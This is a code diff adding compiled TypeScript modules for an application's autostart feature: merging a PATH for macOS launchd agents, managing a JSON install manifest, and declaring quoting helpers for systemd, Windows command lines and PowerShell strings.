+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.macLaunchdEffectivePath = macLaunchdEffectivePath;
4
+ /**
5
+ * PATH string for LaunchAgents: merge install-time PATH with standard macOS paths
6
+ * so nvm/Homebrew `node` / `npm` remain reachable under launchd.
7
+ */
8
+ function macLaunchdEffectivePath(installTimePath) {
9
+ const trimmed = (installTimePath || "").trim();
10
+ const standardMacosPaths = "/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:/opt/homebrew/bin";
11
+ if (!trimmed)
12
+ return standardMacosPaths;
13
+ const seen = new Set();
14
+ const merged = [];
15
+ for (const seg of [...trimmed.split(":"), ...standardMacosPaths.split(":")]) {
16
+ const s = seg.trim();
17
+ if (s && !seen.has(s)) {
18
+ seen.add(s);
19
+ merged.push(s);
20
+ }
21
+ }
22
+ return merged.join(":");
23
+ }
@@ -0,0 +1,11 @@
1
+ import type { AutostartAgentOptions } from "./resolve";
2
+ export interface AutostartManifestV1 {
3
+ version: 1;
4
+ installedAt: string;
5
+ platform: NodeJS.Platform;
6
+ options: AutostartAgentOptions;
7
+ }
8
+ export declare function manifestPath(dataDir: string): string;
9
+ export declare function writeManifest(dataDir: string, options: AutostartAgentOptions): void;
10
+ export declare function readManifest(dataDir: string): AutostartManifestV1 | null;
11
+ export declare function removeManifest(dataDir: string): void;
@@ -0,0 +1,74 @@
1
+ "use strict";
2
+ var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
3
+ if (k2 === undefined) k2 = k;
4
+ var desc = Object.getOwnPropertyDescriptor(m, k);
5
+ if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
6
+ desc = { enumerable: true, get: function() { return m[k]; } };
7
+ }
8
+ Object.defineProperty(o, k2, desc);
9
+ }) : (function(o, m, k, k2) {
10
+ if (k2 === undefined) k2 = k;
11
+ o[k2] = m[k];
12
+ }));
13
+ var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
14
+ Object.defineProperty(o, "default", { enumerable: true, value: v });
15
+ }) : function(o, v) {
16
+ o["default"] = v;
17
+ });
18
+ var __importStar = (this && this.__importStar) || (function () {
19
+ var ownKeys = function(o) {
20
+ ownKeys = Object.getOwnPropertyNames || function (o) {
21
+ var ar = [];
22
+ for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
23
+ return ar;
24
+ };
25
+ return ownKeys(o);
26
+ };
27
+ return function (mod) {
28
+ if (mod && mod.__esModule) return mod;
29
+ var result = {};
30
+ if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
31
+ __setModuleDefault(result, mod);
32
+ return result;
33
+ };
34
+ })();
35
+ Object.defineProperty(exports, "__esModule", { value: true });
36
+ exports.manifestPath = manifestPath;
37
+ exports.writeManifest = writeManifest;
38
+ exports.readManifest = readManifest;
39
+ exports.removeManifest = removeManifest;
40
+ const fs = __importStar(require("node:fs"));
41
+ const path = __importStar(require("node:path"));
42
+ const constants_1 = require("./constants");
43
+ function manifestPath(dataDir) {
44
+ return path.join(dataDir, constants_1.AUTOSTART_MANIFEST);
45
+ }
46
+ function writeManifest(dataDir, options) {
47
+ fs.mkdirSync(dataDir, { recursive: true });
48
+ const m = {
49
+ version: 1,
50
+ installedAt: new Date().toISOString(),
51
+ platform: process.platform,
52
+ options,
53
+ };
54
+ fs.writeFileSync(manifestPath(dataDir), JSON.stringify(m, null, 2), "utf8");
55
+ }
56
+ function readManifest(dataDir) {
57
+ try {
58
+ const p = manifestPath(dataDir);
59
+ if (!fs.existsSync(p))
60
+ return null;
61
+ return JSON.parse(fs.readFileSync(p, "utf8"));
62
+ }
63
+ catch {
64
+ return null;
65
+ }
66
+ }
67
+ function removeManifest(dataDir) {
68
+ try {
69
+ fs.unlinkSync(manifestPath(dataDir));
70
+ }
71
+ catch {
72
+ /* skip */
73
+ }
74
+ }
@@ -0,0 +1,12 @@
1
+ /** systemd ExecStart= token quoting (POSIX shell single-quote style). */
2
+ export declare function systemdQuote(arg: string): string;
3
+ export declare function systemdExecLine(argv: string[]): string;
4
+ /**
5
+ * Windows argv → one command-line string for CreateProcess / WScript.Shell.Run /
6
+ * schtasks /tr, using MSDN CommandLineToArgvW-compatible quoting.
7
+ * Paths with spaces are quoted correctly; backslashes are never doubled unless
8
+ * they immediately precede a double-quote character.
9
+ */
10
+ export declare function argvToWin32CommandLine(args: string[]): string;
11
+ /** Escape single quotes for PowerShell single-quoted strings ('' → literal '). */
12
+ export declare function escapePsSingle(s: string): string;